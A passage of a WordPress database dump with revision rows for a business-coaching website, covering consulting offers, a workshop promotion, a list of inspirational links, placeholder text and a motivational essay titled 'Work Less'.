effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, your marketing, and communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>You''ll have Increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange greater sums of money to show their appreciation for the value you are creating for them.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-04 11:53:42', '2011-01-04 18:53:42', '', 138, 'http://www.whitehotcenter.com/2011/01/04/138-revision-128/', 0, 'revision', '', 0),
(1570, 2, '2011-04-12 09:38:21', '2011-04-12 16:38:21', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-04-12 09:38:21', '2011-04-12 16:38:21', '', 145, 'http://www.whitehotcenter.com/2011/04/12/145-revision-75/', 0, 'revision', '', 0),
(1390, 2, '2010-12-27 16:37:11', '2010-12-27 23:37:11', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="485" height="485" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-12-27 16:37:11', '2010-12-27 23:37:11', '', 145, 'http://www.whitehotcenter.com/2010/12/27/145-revision-72/', 0, 'revision', '', 0),
(1356, 1, '2010-12-27 14:43:34', '2010-12-27 21:43:34', '', 'master_inner_game', 0, '', 'inherit', 'open', 'open', '', 'master_inner_game', '', '', '2010-12-27 14:43:34', '2010-12-27 21:43:34', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/master_inner_game.png', 0, 'attachment', 'image/png', 0),
(1236, 2, '2010-10-22 14:58:26', '2010-10-22 21:58:26', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson</a>.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:58:26', '2010-10-22 21:58:26', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-65/', 0, 'revision', '', 0),
(485, 2, '2009-07-09 15:28:37', '2009-07-09 22:28:37', '', 'hot-info-bar', 0, '', 'inherit', 'open', 'open', '', 'hot-info-bar', '', '', '2009-07-09 15:28:37', '2009-07-09 22:28:37', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/hot-info-bar.gif', 0, 'attachment', 'image/gif', 0),
(486, 2, '2009-07-09 15:29:50', '2009-07-09 22:29:50', '', 'hot-info-bar', 0, '', 'inherit', 'open', 'open', '', 'hot-info-bar-2', '', '', '2009-07-09 15:29:50', '2009-07-09 22:29:50', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/hot-info-bar1.gif', 0, 'attachment', 'image/gif', 0),
(487, 1, '2009-07-07 22:46:16', '2009-07-08 05:46:16', '', 'Hot Info', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-07 22:46:16', '2009-07-08 05:46:16', '', 145, 'http://www.whitehotcenter.com/145-revision-6/', 0, 'revision', '', 0),
(489, 2, '2009-07-09 15:37:26', '2009-07-09 22:37:26', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif"><img class="alignnone size-full wp-image-486" title="hot-info-bar" src="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif" alt="hot-info-bar" width="448" height="91" /></a>\r\n<h2><span style="color: #ff6600;">We keep our eyes and ears dialed into ideas from other thought leaders and creative minds, useful products and events and other good stuff to help point you in a direction to get more inspiration and education to grow your influence in the world...</span></h2>', ' Resources / Products / Events', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-09 15:37:26', '2009-07-09 22:37:26', '', 145, 'http://www.whitehotcenter.com/145-revision-8/', 0, 'revision', '', 0),
(488, 2, '2009-07-09 15:34:18', '2009-07-09 22:34:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif"><img class="alignnone size-full wp-image-486" title="hot-info-bar" src="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif" alt="hot-info-bar" width="448" height="91" /></a>\r\n<h2><span style="color: #ff6600;">We keep our eyes and ears dialed into various on-line content from other thought leaders and creative minds, information products and events that will be of interest to you We hope this helps point you in a direction to get more inspiration and education to grow your influence in the world...</span></h2>', 'Resources / Products / Events', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-09 15:34:18', '2009-07-09 22:34:18', '', 145, 'http://www.whitehotcenter.com/145-revision-7/', 0, 'revision', '', 0),
(490, 2, '2009-07-09 15:38:12', '2009-07-09 22:38:12', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif"><img class="alignnone size-full wp-image-486" title="hot-info-bar" src="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif" alt="hot-info-bar" width="448" height="91" /></a>\r\n<h2><span style="color: #ff6600;">We keep our eyes and ears dialed into ideas from other thought leaders and creative minds, useful products and events and other good stuff to\r\nhelp point you in\r\na direction to get more inspiration and education to grow your influence in the world...</span></h2>', ' Resources / Products / Events', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-09 15:38:12', '2009-07-09 22:38:12', '', 145, 'http://www.whitehotcenter.com/145-revision-9/', 0, 'revision', '', 0),
(491, 2, '2009-07-09 15:39:05', '2009-07-09 22:39:05', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif"><img class="alignnone size-full wp-image-486" title="hot-info-bar" src="http://whc.fbdev.org/wp-content/uploads/2009/04/hot-info-bar1.gif" alt="hot-info-bar" width="448" height="91" /></a>\r\n<h2><span style="color: #ff6600;">We keep our eyes and ears dialed into ideas from other thought leaders and creative minds, useful products and events and other good stuff to help point you in the direction to find more inspiration and education to grow your influence in the world...</span></h2>', ' Resources / Products / Events', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-07-09 15:39:05', '2009-07-09 22:39:05', '', 145, 'http://www.whitehotcenter.com/145-revision-10/', 0, 'revision', '', 0),
(492, 1, '2009-07-09 13:24:47', '2009-07-09 20:24:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>\r\n\r\nShare your answer in the comments box below.', ' Big Burning Question No.1', 0, '', 'inherit', 'open', 'open', '', '185-revision-6', '', '', '2009-07-09 13:24:47', '2009-07-09 20:24:47', '', 185, 'http://www.whitehotcenter.com/185-revision-6/', 0, 'revision', '', 0),
(493, 2, '2009-07-09 15:05:04', '2009-07-09 22:05:04', '<h2><span style="color: #ff6600;">The business of creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-19', '', '', '2009-07-09 15:05:04', '2009-07-09 22:05:04', '', 179, 'http://www.whitehotcenter.com/179-revision-19/', 0, 'revision', '', 0),
(494, 1, '2009-07-08 15:35:43', '2009-07-08 22:35:43', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna. Vivamus lectus arcu, dictum a adipiscing sit amet, pulvinar eget risus. Sed eget ante nibh, vitae congue lectus.', 'The Fourth Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '191-revision-3', '', '', '2009-07-08 15:35:43', '2009-07-08 22:35:43', '', 191, 'http://www.whitehotcenter.com/191-revision-3/', 0, 'revision', '', 0),
(495, 1, '2009-07-08 15:35:49', '2009-07-08 22:35:49', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque.', 'The Second Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '187-revision-3', '', '', '2009-07-08 15:35:49', '2009-07-08 22:35:49', '', 187, 'http://www.whitehotcenter.com/187-revision-3/', 0, 'revision', '', 0),
(496, 1, '2009-07-08 15:35:54', '2009-07-08 22:35:54', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna.', 'The Third Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '189-revision-3', '', '', '2009-07-08 15:35:54', '2009-07-08 22:35:54', '', 189, 'http://www.whitehotcenter.com/189-revision-3/', 0, 'revision', '', 0),
(497, 2, '2009-07-08 16:04:23', '2009-07-08 23:04:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2007/10/workless.jpg"><img class="alignleft size-medium wp-image-445" title="workless" src="http://whc.fbdev.org/wp-content/uploads/2007/10/workless-300x300.jpg" alt="workless" width="300" height="300" /></a><span style="color: #ff6600;">For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. </span></h2>\r\nAt first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life.\r\n<h2><span style="color: #ff6600;">When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. </span></h2>\r\nAfter a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around.\r\n\r\n<strong>Start with what you love.</strong>\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love.\r\n\r\n<strong>Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals). What do you think?\r\n</strong>', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply 